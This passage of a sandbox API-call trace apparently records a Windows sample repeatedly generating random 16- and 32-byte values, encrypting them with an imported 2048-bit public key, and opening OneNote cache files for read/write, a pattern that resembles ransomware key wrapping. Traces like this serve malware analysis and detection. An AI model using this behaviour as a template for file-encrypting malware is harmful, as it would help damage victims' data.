szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.056] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db910) returned 1 [0174.056] CryptGetKeyParam (in: hKey=0x35db910, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.056] CryptEncrypt (in: hKey=0x35db910, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b50000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3b50000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.057] GetLastError () returned 0x0 [0174.057] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.057] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000018.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000018.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.057] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.058] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.059] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.059] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.059] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.059] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4980) returned 1 [0174.061] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.061] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.061] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.061] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.061] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.066] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbbd0) returned 1 [0174.066] CryptGetKeyParam (in: hKey=0x35dbbd0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.066] CryptEncrypt (in: hKey=0x35dbbd0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b60000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3b60000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.067] GetLastError () returned 0x0 [0174.067] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.067] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.072] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db8d0) returned 1 [0174.072] CryptGetKeyParam (in: hKey=0x35db8d0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.072] CryptEncrypt (in: hKey=0x35db8d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b70000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3b70000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.072] GetLastError () returned 0x0 [0174.072] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.072] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003K.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003k.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.072] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.074] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.075] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.075] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.075] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.075] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4430) returned 1 [0174.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.077] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.077] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.077] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.077] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.082] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db890) returned 1 [0174.082] CryptGetKeyParam (in: hKey=0x35db890, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.082] CryptEncrypt (in: hKey=0x35db890, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b80000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3b80000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.083] GetLastError () returned 0x0 [0174.083] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.083] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0174.088] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dba90) returned 1 [0174.088] CryptGetKeyParam (in: hKey=0x35dba90, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.088] CryptEncrypt (in: hKey=0x35dba90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3b90000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3b90000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.088] GetLastError () returned 0x0 [0174.088] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.088] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003L.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003l.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.088] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.090] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.090] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.090] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.090] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.090] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.092] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.092] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.092] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.092] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.093] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4540) returned 1 [0174.097] CryptImportKey (in: hProv=0x5c4540, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db690) returned 1 [0174.098] CryptGetKeyParam (in: hKey=0x35db690, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.098] CryptEncrypt (in: hKey=0x35db690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3ba0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3ba0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.098] GetLastError () returned 0x0 [0174.098] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0174.098] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.103] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbc10) returned 1 [0174.103] CryptGetKeyParam (in: hKey=0x35dbc10, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.103] CryptEncrypt (in: hKey=0x35dbc10, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3bb0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3bb0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.103] GetLastError () returned 0x0 [0174.103] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.103] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003M.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003m.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.103] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.105] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.105] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.105] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.105] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.105] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.107] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.107] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.107] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.107] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.107] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.112] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbc50) returned 1 [0174.112] CryptGetKeyParam (in: hKey=0x35dbc50, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.112] CryptEncrypt (in: hKey=0x35dbc50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3bc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3bc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.112] GetLastError () returned 0x0 [0174.112] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.112] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.117] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbad0) returned 1 [0174.117] CryptGetKeyParam (in: hKey=0x35dbad0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.117] CryptEncrypt (in: hKey=0x35dbad0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3bd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3bd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.117] GetLastError () returned 0x0 [0174.117] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.117] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000003N.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000003n.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.118] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.119] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.120] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.120] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.120] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.120] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.121] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.122] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.122] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.122] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.122] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.127] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35dbb50) returned 1 [0174.127] CryptGetKeyParam (in: hKey=0x35dbb50, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.127] CryptEncrypt (in: hKey=0x35dbb50, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3be0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3be0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.127] GetLastError () returned 0x0 [0174.127] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.127] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0174.132] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db710) returned 1 [0174.132] CryptGetKeyParam (in: hKey=0x35db710, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.132] CryptEncrypt (in: hKey=0x35db710, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3bf0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3bf0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.133] GetLastError () returned 0x0 [0174.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\00000048.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\00000048.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.133] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0174.134] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.135] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.135] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0174.135] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.135] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0174.136] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.137] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.137] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0174.137] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.137] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4430) returned 1 [0174.142] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db9d0) returned 1 [0174.142] CryptGetKeyParam (in: hKey=0x35db9d0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.142] CryptEncrypt (in: hKey=0x35db9d0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c00000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x3c00000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0174.142] GetLastError () returned 0x0 [0174.142] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.142] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0174.147] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x35db750) returned 1 [0174.148] CryptGetKeyParam (in: hKey=0x35db750, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0174.148] CryptEncrypt (in: hKey=0x35db750, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c10000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x3c10000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0174.148] GetLastError () returned 0x0 [0174.148] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.148] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneNote\\16.0\\cache\\0000004U.bin" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onenote\\16.0\\cache\\0000004u.bin"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0174.175] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4980) returned 1 [0174.178] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.178] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.178] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0174.178] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0174.178] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0174.180] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0174.181] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0174.181] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0174.181] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0174.181] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4760) returned 1 [0174.187] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x35dbb90) returned 1 [0174.187] CryptGetKeyParam (in: hKey=0x35dbb90, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0174.187] CryptEncrypt (in: hKey=0x35dbb90, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c20000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x3c20000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0174.187] GetLastError () returned 0x0 [0174.187] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0174.187] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0174.192] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x35db990) returned 1 [0174.192] CryptGetKeyParam (in: hKey=0x35db990, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0174.192] CryptEncrypt (in: hKey=0x35db990, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3c30000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x3c30000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0174.193] GetLastError () returned 0x0 [0174.193] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0174.193] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application 